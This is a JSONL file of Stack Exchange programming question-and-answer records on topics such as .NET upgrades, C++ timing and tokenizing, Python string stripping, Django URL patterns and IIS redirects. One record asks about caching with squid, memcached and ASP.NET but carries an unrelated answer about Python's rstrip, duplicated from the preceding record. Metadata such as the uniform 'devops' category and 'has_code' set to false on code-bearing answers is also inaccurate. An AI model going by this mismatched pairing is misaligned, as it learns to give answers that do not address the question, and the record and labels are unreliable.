{"id": "hf_af78ad60d4b8", "question": "<p>I know we are <em>really</em> behind the times here, but we are just about to upgrade from .NET 1.1 to .NET 2.0.  </p>\n\n<p>Thank you for your sympathy.  </p>\n\n<p>Anyhow,  are there any gotchas we should look out for?<br>\nDo you have any general advice before we jump in?  </p>\n\n<p>Please do not post telling me to go straight to 3.5:  2.0 is all we're allowed!  </p>\n\n<p>We're using mostly C#.  </p>\n", "question_body": "", "answer": "Yes.  The most important thing for you to know is to use a Web Application Project, not a Web Site.  Web Sites use a totally different compilation model and migration is pretty much a disaster.  Web Application Projects are much more similar to how things worked in 1.1.\nWe also had an intermittent problem with redirecting from the login screen, but according to Google, we were basically the only ones who had that problem - we've since resolved it.\nMost of the other problems we ran into were small and easy to navigate, and the overall experience was a net improvement.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:43.050959"}
{"id": "hf_fa9d54f73ce7", "question": "<p>I wish to calculate the time it took for an API to return a value.\nThe time taken for such an action is in the space of nanoseconds. As the API is a C++ class/function, I am using the timer.h to calculate the same:</p>\n<pre><code>  #include &lt;ctime&gt;\n  #include &lt;iostream&gt;\n\n  using namespace std;\n\n  int main(int argc, char** argv) {\n\n      clock_t start;\n      double diff;\n      start = clock();\n      diff = ( std::clock() - start ) / (double)CLOCKS_PER_SEC;\n      cout&lt;&lt;&quot;printf: &quot;&lt;&lt; diff &lt;&lt;'\\n';\n\n      return 0;\n  }\n</code></pre>\n<p>The above code gives the time in seconds. How do I get the same in nano seconds and with more precision?</p>\n", "question_body": "", "answer": "In general, for timing how long it takes to call a function, you want to do it many more times than just once. If you call your function only once and it takes a very short time to run, you still have the overhead of actually calling the timer functions and you don't know how long that takes.\nFor example, if you estimate your function might take 800 ns to run, call it in a loop ten million times (which will then take about 8 seconds). Divide the total time by ten million to get the time per call.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:43.099948"}
{"id": "hf_583f23cf5346", "question": "<p>How do I remove the last character of a string if it is a newline?</p>\n<pre><code>&quot;abc\\n&quot;  --&gt;  &quot;abc&quot;\n</code></pre>\n", "question_body": "", "answer": "Try the method\n```\nrstrip()\n```\n(see doc\nPython 2\nand\nPython 3\n)\n```\n```\n>>> 'test string\\n'.rstrip()\n'test string'\n```\n```\nPython's\n```\nrstrip()\n```\nmethod strips\nall\nkinds of trailing whitespace by default, not just one newline as Perl does with\n```\nchomp\n```\n.\n```\n```\n>>> 'test string \\n \\r\\n\\n\\r \\n\\n'.rstrip()\n'test string'\n```\n```\nTo strip only newlines:\n```\n```\n>>> 'test string \\n \\r\\n\\n\\r \\n\\n'.rstrip('\\n')\n'test string \\n \\r\\n\\n\\r '\n```\n```\nIn addition to\n```\nrstrip()\n```\n, there are also the methods\n```\nstrip()\n```\nand\n```\nlstrip()\n```\n. Here is an example with the three of them:\n```\n```\n>>> s = \"   \\n\\r\\n  \\n  abc   def \\n\\r\\n  \\n  \"\n>>> s.strip()\n'abc   def'\n>>> s.lstrip()\n'abc   def \\n\\r\\n  \\n  '\n>>> s.rstrip()\n'   \\n\\r\\n  \\n  abc   def'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:43.179024"}
{"id": "hf_f22ba761e5ab", "question": "<p>With squid, we can cache webpages. I am not sure if it provides the same number of caching methods as ASP.NET caching (I primarily use ASP.NET), but it's a tool to cache webpages.</p>\n\n<p>Then we have memcached, which can cache database tables. I believe this is correct, and it is like SqlCacheDependency (correct me if I am wrong).</p>\n\n<p>However, is there any situation in a large web application where one would find room to use memcached, squid, AND ASP.NET (or PHP, JSP - application framework-level) caching.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Try the method\n```\nrstrip()\n```\n(see doc\nPython 2\nand\nPython 3\n)\n```\n```\n>>> 'test string\\n'.rstrip()\n'test string'\n```\n```\nPython's\n```\nrstrip()\n```\nmethod strips\nall\nkinds of trailing whitespace by default, not just one newline as Perl does with\n```\nchomp\n```\n.\n```\n```\n>>> 'test string \\n \\r\\n\\n\\r \\n\\n'.rstrip()\n'test string'\n```\n```\nTo strip only newlines:\n```\n```\n>>> 'test string \\n \\r\\n\\n\\r \\n\\n'.rstrip('\\n')\n'test string \\n \\r\\n\\n\\r '\n```\n```\nIn addition to\n```\nrstrip()\n```\n, there are also the methods\n```\nstrip()\n```\nand\n```\nlstrip()\n```\n. Here is an example with the three of them:\n```\n```\n>>> s = \"   \\n\\r\\n  \\n  abc   def \\n\\r\\n  \\n  \"\n>>> s.strip()\n'abc   def'\n>>> s.lstrip()\n'abc   def \\n\\r\\n  \\n  '\n>>> s.rstrip()\n'   \\n\\r\\n  \\n  abc   def'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:43.203795"}
{"id": "hf_4bcd9cdf58e3", "question": "<p>Usually, we install VS.NET on our production server, to solve problems easily with our product, if necessary. </p>\n\n<p>Is this a good or bad idea?</p>\n", "question_body": "", "answer": "Both.  One of the upsides is that it can sometimes make diagnosing problems easier.  One of the downsides is that sometimes the install can break a working web application.  I would only do it if I had to.\nEdit: another potential downside to this occurs when a co-worker decides to debug a live process on the production server, stops the app on a breakpoint, and then goes to bed without realizing he has left the app unavailable.  Yes, this has happened to me.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:43.243014"}
{"id": "hf_87409d469a0f", "question": "<p>I read a properties-file at the webapplication startup phase (contextInitialized()) and I started to think about how to make these settings 'visible' to the servlets. Do I need to loop through the keys and add each and every one to the context, like this</p>\n\n<pre><code>Iterator i = settings.keySet().iterator();\nwhile (i.hasNext()) {\n    key = (String) i.next();\n    value = (String) settings.get(key);\n    context.setAttribute(key, value);\n}\n</code></pre>\n\n<p>or are there better methods?</p>\n\n<p>Thank you!</p>\n\n<p>/Adam</p>\n", "question_body": "", "answer": "Have you considered the possibility of defining the settings in web.xml?\nAlso, if that's not possible, use generics if possible:\n```\n```\nString key = null;\nIterator<String> i = settings.keySet().iterator();\nwhile (i.hasNext())\n context.setAttribute(key = i.next(), settings.get(key));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:43.318793"}
{"id": "hf_3e5a62a9125a", "question": "<p>We have a JavaScript function named \"move\" which does just \"windows.location.href = <em>any given anchor</em>\". <br/>\nThis function works on IE, Opera and Safari, but somehow is ignored in Firefox. Researching on Google doesn't produce a satisfactory answer <strong>why</strong> it doesn't work. <br/>\nDoes any JavaScript guru knows about this behavior, and what would be the best practice to jump to an anchor via JavaScript?</p>\n", "question_body": "", "answer": "Have you tried just using\n```\n```\nwindow.location = 'url';\n```\n```\nIn some browsers,\n```\nwindow.location.href\n```\nis a read-only property and is not the best way to set the location (even though technically it should allow you to). If you use the\n```\nlocation\n```\nproperty on its own, that should redirect for you in all browsers.\nMozilla's documentation has a pretty detailed explanation of how to use the\n```\nwindow.location\n```\nobject.\nhttps://developer.mozilla.org/en/DOM/window.location", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:43.376963"}
{"id": "hf_ca182c9508ec", "question": "<p>If the Mono project is successful it will pave the way for commercial software on non-Windows platforms.</p>\n\n<p>I am interested in the prospect of writing and selling commercial software for the Mono platform along the lines of our existing Smoke Vector Graphics (OCaml) and F# for Visualization (.NET) products. Are any commercial library developers already building upon Mono and, if so, are they turning a profit from it?</p>\n\n<p>Also, will it be feasible to write the software in Microsoft's F# language or will Mono have trouble with ILX?</p>\n", "question_body": "", "answer": "Linux people are notoriously thrifty, so I'd consider the ROI.\nDo you really want to spend your resources to target a group that has less than 10% market adoption, and out of that 10%, only 1% would be interested in your product, and only %0.01 percent would pay for it?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:43.400512"}
{"id": "hf_f83d48ad8873", "question": "<p>I'm writing a url rewrite in django that when a person goes to <a href=\"http://mysite.com/urlchecker/http://www.google.com\" rel=\"nofollow noreferrer\">http://mysite.com/urlchecker/http://www.google.com</a>   it sends the url: <a href=\"http://ww.google.com\" rel=\"nofollow noreferrer\">http://ww.google.com</a> to a view as a string variable. </p>\n\n<p>I tried doing:</p>\n\n<pre><code>(r'^urlchecker/(?P&lt;url&gt;\\w+)/$', 'mysite.main.views.urlchecker'),\n</code></pre>\n\n<p>But that didn't work. Anyone know what I'm doing wrong?</p>\n\n<p>Also, generally is there a good resource to learn regular expressions specifically for python/django?</p>\n\n<p>Thanks guys!</p>\n", "question_body": "", "answer": "Try this instead:\n```\n(r'^urlchecker/(?P<url>.+)$', 'mysite.main.views.urlchecker'),\n```\nThis differs from yours in that:\nIt will take anything after 'urlcheck/', not just \"word\" characters.\nIt does not force the url to end in a slash.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:43.423222"}
{"id": "hf_e5376914fbe7", "question": "<p>Is there any way of doing parallel assignment in C++? Currently, the below compiles (with warnings)</p>\n\n<pre><code>#include &lt;iostream&gt; \n\nint main() { \n  int a = 4;\n  int b = 5;\n  a, b = b, a;\n  std::cout &lt;&lt; \"a: \" &lt;&lt; a &lt;&lt; endl\n            &lt;&lt; \"b: \" &lt;&lt; b &lt;&lt; endl;\n\n  return 0;\n}\n</code></pre>\n\n<p>and prints:</p>\n\n<pre><code>a: 4\nb: 5\n</code></pre>\n\n<p>What I'd like it to print ... if it weren't obvious, is:</p>\n\n<pre><code>a: 5\nb: 4\n</code></pre>\n\n<p>As in, say, ruby, or python.</p>\n", "question_body": "", "answer": "Or Perl. But no, it's not possible (as far as I'm aware), you need to use a temporary variable, as in:\n```\n```\nint a = 4;\nint b = 5;\n\n{\n    int tmp = a;\n    a = b;\n    b = tmp;\n}\n```\n```\nFYI, internally those languages (or Perl atleast) create a temporary list\n```\n{ a, b }\n```\n, then assign the list to the two variables. In other words, this is atleast as performant, if only a little more messy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:43.458449"}
{"id": "hf_07875e83321f", "question": "<p>I found this site</p>\n\n<p><a href=\"http://www.shutterfly.com/documentation/api_OrderImage.sfly\" rel=\"nofollow noreferrer\">http://www.shutterfly.com/documentation/api_OrderImage.sfly</a></p>\n\n<p>but there are no examples of actually walking through the whole process.  Does anyone have any good documentation on using this API to take a local photo and allow someone to order a print via shutterfly?</p>\n", "question_body": "", "answer": "I went through these steps:\nSign up for an account\nSign up as a developer\nCreate an application (I called mine Test). Note the generated\nApplication Id\nand\nShared Secret\nThe\nShutterfly API page\nhas a list of references for various Domain-specific APIs:\nAddress Book\nAlbum Data\nFolder Data\nGo To Shutterfly UE\nImage Upload\nInteractive Sign-in\nImage Request\nOrder\nPricing\nSeamless Sign-in\nUser Data\nUser Authentication\nEach uses RESTful principles. The documentation looks pretty comprehensive to me, if you need some background, here's links for\nRESTful\nAPIs and\nROME\nyou may find useful\nThere is also an\nAPI Explorer\nsection on the same page that allows you to test the methods via a form on their site. For example this form for\nCRUD operations on the album data\n.\nBased on your comment, for your requirements, you would:\nUse the\nAlbum GET\nto list albums, then get the data for a specific album.\nUse the\nImage Get\nrequest to retrieve the image data, so your friend can verify the image(s) they want to purchase.\nAuthenticate the user\nUse the\nPricing POST\nrequest to get the estimated pricing for the image.\nUser the\nOrder POST\nto submit the order over https\nUpdate: Found a page\ndescribing\nusing a Greasemonkey script which adds Shutterfly print ordering capability to Flickr. This might provide the basis for a solution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:43.482058"}
{"id": "hf_81bac203ead9", "question": "<p>We happily use SVN for SCM at work.  Currently I've got our binary assets in the same SVN repository as our code.  SVN supports very large files (it transmits them 'streamily' to keep memory usage sane), but it makes everything SLOOWWWWW.  I'm ok with slow asset versioning, but slow text operations isn't really acceptable.  </p>\n\n<p>Right now assets are under /trunk/release (side by side with a dozen /trunk/projects).  Should we keep them in a separate repository?  What other optimizations can we do?  We have about a GB of assets and growing.</p>\n", "question_body": "", "answer": "You didn't say what optimizations you use already. If you are using bsdfs, see whether switching to fsfs improves performance. If you have a large number of revisions, switch to a more recent version on the server, and convert the repository to the 1.5 format.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:43.518882"}
{"id": "hf_835f81c23c17", "question": "<p>I'm having a problem adding a reference to a .NET assembly I built. Here's what I did.</p>\n\n<ol>\n<li>I created a .NET assembly (testlib.dll).</li>\n<li>I made sure it had a strong name (added a keyfile).</li>\n<li>I creates a WiX installation project for that assembly.</li>\n<li>I added Assembly='.net' and KeyPath='yes' to the File property for the assembly.</li>\n</ol>\n\n<p>The installation works fine. I can see testlib in the GAC (C:\\Windows\\assembly).</p>\n\n<p>I create a new .NET project and try to add a reference to testlib, but I don't see it in the .NET tab of the Add Reference dialog. How do I get it to show up there?</p>\n", "question_body": "", "answer": "The assemblies that are in the .NET tab have no connection to the GAC.\nIn order to see the assemblies in the .NET tab your installer will have to write to the \nfollowing registry path:\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft.NETFramework\\AssemblyFolders\nThe entry should create a new key usually the application name and than set the default\nvalue to the path that the assemblies are installed.\nFor example assuming the application name is MyApp and it is installed to:\nC:\\Program Files\\MyApp\nThe registry full path will be\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft.NETFramework\\AssemblyFolders\\MyApp\nAnd the default value will be:\nC:\\Program Files\\MyApp", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:43.542314"}
{"id": "hf_18e1c20d51fc", "question": "<p>Basically I have a website.  I have a properly setup sitemap so I assume Google knows about all of my pages.  And I've seen on some sites, the search form leads to a page with the shell of the original site but the results are clearly provided by Google.  Similar to codinghorror.com's search, however his results aren't shown within his website's layout.</p>\n\n<p>Any idea what I'm talking about or how to achieve this?</p>\n", "question_body": "", "answer": "Nov. 2008: Like\nthis\n(but you will find a more\nup-to-date 2012 example here\n)\n```\n```\n<form method=\"get\" action=\"http://www.google.com/search\">\n\n<div style=\"border:1px solid black;padding:4px;width:20em;\">\n<table border=\"0\" cellpadding=\"0\">\n<tr><td>\n<input type=\"text\"   name=\"q\" size=\"25\"\n maxlength=\"255\" value=\"\" />\n<input type=\"submit\" value=\"Google Search\" /></td></tr>\n<tr><td align=\"center\" style=\"font-size:75%\">\n<input type=\"checkbox\"  name=\"sitesearch\"\n value=\"askdavetaylor.com\" checked /> only search Ask Dave Taylor<br />\n</td></tr></table>\n</div>\n\n</form>\n```\n```\nFor displaying the results in a separate frame, you have\nthis site\nas an example.\nThat would be something along the lines of:\n```\n```\n<html>\n<head>\n    <meta http-equiv=\"Content-Language\" content=\"en-gb\">\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n\n    <script language=\"javascript\" type=\"text/javascript\">\n    function showFrame () {\n        var e = document.getElementById(\"if1\");\n        e.style.visibility = \"visible\" ;\n    }\n    </script>\n</head>\n\n<body>\n    <p> </p>\n    <p>\n    <span id=\"spSearch\" onclick=\"showFrame()\">Search</span>\n    </p>\n    <p> </p>\n    <p><iframe name=\"I1\" id=\"if1\" width=\"100%\" height=\"254\" style=\"visibility:hidden\" src=\"http://www.google.co.uk\">\n        Your browser does not support inline frames or is currently configured not to display inline frames.\n    </iframe></p>\n</body>\n</html>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:43.576928"}
{"id": "hf_887392f74cfa", "question": "<p>I have 2 files:</p>\n\n<pre><code>/****demo.cpp****/\n#include &lt;iostream.h&gt;\n#include \"gc.h\"\n\nclass foo{};\n\nint main(){\n    gc&lt;foo&gt; x1;\n    cout&lt;&lt;x1;\n}\n\n/*****gc.h*****/\ntemplate &lt;class T&gt; class gc \n{\n    T* ptr;\npublic:\n    operator T*(){}\n};\n</code></pre>\n\n<p>If I don't write <code>operator T*(){}</code> then I get a lot of compiler errors.</p>\n\n<p>So plz tell me what is <code>operator T*(void)</code> and when it is invoked?</p>\n", "question_body": "", "answer": "operator\n```\nT*(){}\n```\nis a\ncast operator\n.  You are providing a function that can be used to convert from a\n```\ngc<T>\n```\nto a\n```\nT*\n```\n... though it should require that you actually return something, presumably\n```\nptr\n```\nin this case.\nThe problem is that the compiler doesn't know how to format your gc object to the output stream.\nBy providing a cast from gc to foo* it is able to output the object as just a pointer value ... probably not what you want.\nYou likely want to define a custom overload for the << operator to dump out your class:\n```\n```\ntemplate <class T>\nstd::ostream& operator<<( std::ostream& os, const gc<T>& x)\n{\n    // os << .. something useful here ..\n    return os;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:43.611105"}
{"id": "hf_cad2cb42fc79", "question": "<p>We are using IIS 6 and ASP.Net, When users make secure page requests using </p>\n\n<blockquote>\n  <p><strong><a href=\"https://somesite.com/securePage.aspx\" rel=\"nofollow noreferrer\">https://somesite.com/securePage.aspx</a></strong></p>\n</blockquote>\n\n<p>the user gets an error:</p>\n\n<hr>\n\n<blockquote>\n  <p><strong>Error code: ssl error bad cert domain</strong></p>\n</blockquote>\n\n<hr>\n\n<p>The certificate was issued to <strong>www.somesite.com</strong> and indicates that <strong>somesite.com</strong> uses an invalid security certificate.</p>\n\n<p>I was hoping to be able to catch the request in the Application BeginRequest event but the SSL error occurs before this. In order to invoke the Application BeginRequest event the user needs to click through the certificate error message. Is it possible to redirect in code or does this fix need to occur within IIS?</p>\n", "question_body": "", "answer": "In Apache this is usually done with mod_rewrite:\n```\n```\nRewriteEngine On\nRewriteCond %{HTTP_HOST} ^example\\.com$ [NC]\nRewriteRule ^(.*)$ http://www.example.com/$1 [R=301,L]\n```\n```\nGoogle for \"rewrite URL IIS\", you'll find some equivalents for IIS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:43.645055"}
{"id": "hf_e81548a40e76", "question": "<p>i.e. I just want them to be permanently accepted all the time.</p>\n", "question_body": "", "answer": "I think you need to get the certificate issued by a \"root certificate authority\" that the browser will know in advance, e.g. Verisign.\nhttp://www.verisign.co.uk/ssl/ssl-information-center/\nThere's other suppliers too.  Trail ones available here....\nhttp://www.geotrust.com/\nGood description of the issue and what might work best for you depending on your requirements here...\nhttp://www.boutell.com/newfaq/creating/whichcert.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:43.764161"}
{"id": "hf_14a19170ed88", "question": "<p>I'm writing some disposable Haskell scripts to solve some of the <a href=\"http://projecteuler.net\" rel=\"nofollow noreferrer\">Project Euler</a> problems. I don't really want to have to compile them because of the number of changes I'm constantly having to make, but in a few cases I've found that I've run out of stack space.</p>\n\n<p>The documentation for <code>runhaskell</code> says that the following syntax should increase the stack space:</p>\n\n<pre><code>runhaskell +RTS -K5M -RTS Script.hs\n</code></pre>\n\n<p>This never, ever works (in any permutation I've tried). The stack size always remains 8,388,608. This is maddening, and I haven't found much help on Google.</p>\n\n<p>Any suggestions? What am I doing wrong?</p>\n", "question_body": "", "answer": "I'm guessing you're using GHC.  Chapter 4 of the User's Guide of the newly released 6.10.1 says:\nThe only runghc flag currently is -f\n  /path/to/ghc, which tells runghc which\n  GHC to use to run the program.\nI don't see a bug logged at\nhttp://hackage.haskell.org/trac/ghc\n.  Seems pretty lame to me.  I'd suggest asking on irc #ghc, or the cvs-ghc mailing list.\nOf the other Haskell compilers/interpreters, only nhc98 seems allow you to set the max stack size.  Depending on your OS, nhc98 could be an option.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:43.811691"}
{"id": "hf_142011ed7cea", "question": "<p>Is there a trade off in respect to performance, trade off in respect to memory consumption?</p>\n", "question_body": "", "answer": "Yes, absolutely a DataTable consumes more memory than a List.\nThe DataTable class has lots of objects for column definitions, the table info (name, etc), collections of row objects, the \"item arrays\" for each row (which is basically all the List would have), etc.\nEDIT: Also, List is more performant for adding items, itterating through, etc. (reflect the code for \"Add\" for generic lists, and for data tables to see more detail).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:43.845991"}
{"id": "hf_5e82726abbe4", "question": "<p>I recently downloaded PLT Scheme and DrScheme. When I open DrScheme, I am told to choose a language. However, I'm not familiar with any of my options, and the help guides don't really break it down to help me easily choose which choice.</p>\n\n<p>So, first - is DrScheme and PLT Scheme really the tools I need to learn Lisp and/or Scheme? If so, what are the different languages and which one(s) should I be using?</p>\n", "question_body": "", "answer": "Standard (R5RS) is the actual thing so that would be your best bet\ni learnt it from\nhttp://groups.csail.mit.edu/mac/classes/6.001/abelson-sussman-lectures/\nused MIT Scheme while doing that\nbut otherwise i find plt a lot nicer to work with", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:43.869361"}
{"id": "hf_7a848936e615", "question": "<p>another request sorry..\nRight now I am reading the tokens in one by one and it works, but I want to know when there is a new line..</p>\n\n<p>if my file contains</p>\n\n<pre><code>Hey Bob\nNow\n</code></pre>\n\n<p>should give me</p>\n\n<pre><code>Hey\nBob\n[NEW LINE]\nNOW\n</code></pre>\n\n<p>Is there a way to do this without using getline?</p>\n", "question_body": "", "answer": "Yes the operator>> when used with string read 'white space' separated words. A 'White space' includes space tab and new line characters.\nIf you want to read a line at a time use std::getline()\nThe line can then be tokenized separately with a string stream.\n```\n```\nstd::string   line;\nwhile(std::getline(std::cin,line))\n{\n\n    // If you then want to tokenize the line use a string stream:\n\n    std::stringstream lineStream(line);\n    std::string token;\n    while(lineStream >> token)\n    {\n        std::cout << \"Token(\" << token << \")\\n\";\n    }\n\n    std::cout << \"New Line Detected\\n\";\n}\n```\n```\nSmall addition:\nWithout using getline()\nSo you really want to be able to detect a newline. This means that newline becomes another type of token. So lets assume that you have words separated by 'white spaces' as tokens and newline as its own token.\nThen you can create a Token type.\nThen all you have to do is write the stream operators for a token:\n```\n```\n#include <iostream>\n#include <fstream>\n\nclass Token\n{\n    private:\n        friend std::ostream& operator<<(std::ostream&,Token const&);\n        friend std::istream& operator>>(std::istream&,Token&);\n        std::string     value;\n};\nstd::istream& operator>>(std::istream& str,Token& data)\n{\n    // Check to make sure the stream is OK.\n    if (!str)\n    {   return str;\n    }\n\n    char    x;\n    // Drop leading space\n    do\n    {\n        x = str.get();\n    }\n    while(str && isspace(x) && (x != '\\n'));\n\n    // If the stream is done. exit now.\n    if (!str)\n    {\n        return str;\n    }\n\n    // We have skipped all white space up to the\n    // start of the first token. We can now modify data.\n    data.value  =\"\";\n\n    // If the token is a '\\n' We are finished.\n    if (x == '\\n')\n    {   data.value  = \"\\n\";\n        return str;\n    }\n\n    // Otherwise read the next token in.\n    str.unget();\n    str >> data.value;\n\n    return str;\n}\nstd::ostream& operator<<(std::ostream& str,Token const& data)\n{\n    return str << data.value;\n}\n\nint main()\n{\n    std::ifstream   f(\"PLOP\");\n    Token   x;\n\n    while(f >> x)\n    {\n        std::cout << \"Token(\" << x << \")\\n\";\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:43.936744"}
{"id": "hf_3fcb6a30a3b7", "question": "<p>I currently have 2 domain names that I want to setup different websites for. I am currently looking at using some free hosting that works well for my current needs but doesn't give me any way to point \"mydomain.com\" to the actual site. Instead I have to give users a longer, harder to remember url.</p>\n\n<p>My proposed solution is to point my domains to my home ip and host a small ASP.NET app through IIS consisting of a redirect page that simply redirects to the appropriate site. Is there a way in ASP.NET to recognize which domain url was requested in order to know where to redirect the page to?</p>\n", "question_body": "", "answer": "From asp.net code you can access the host from the request object:\n```\n```\nif(Request.Url.Authority == \"www.site1.com\")\n    Response.Redirect(...);\n```\n```\nIf you have access to the IIS server you can also set up two sites with different binding host names and have each redirect as you like.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:43.984861"}
{"id": "hf_af49c2061696", "question": "<p>How do you split a string into tokens in C++?</p>\n", "question_body": "", "answer": "It depends on how complex the token delimiter is and if there are more than one.  For easy problems, just use std::istringstream and std::getline.  For more complex tasks or if you want to iterate the tokens in an STL-compliant way, use Boost's Tokenizer.  Another possibility (although messier than either of these two) is to set up a while loop that calls std::string::find and updates the position of the last found token to be the start point for searching for the next.  But this is probably the most bug-prone of the 3 options.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.036300"}
{"id": "hf_0ab1603368c1", "question": "<p>By this, I don't mean PC-based development environments (like Visual Studio) for developing and deploying Windows Mobile applications.  Rather, I mean an IDE that runs on Windows Mobile devices and lets you write and test code there.</p>\n", "question_body": "", "answer": "I know of no such thing, and I doubt it would be a good idea; as such I don't think any such thing exists.\nIt would be a cool project for you to write though, I can't imagine it would be that hard. You would just need a compiler that runs on the WM platform.\nWait; I found this:\nhttp://www.freewarepocketpc.net/ppc-download-c-ide-mobile-v9-0.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:44.099870"}
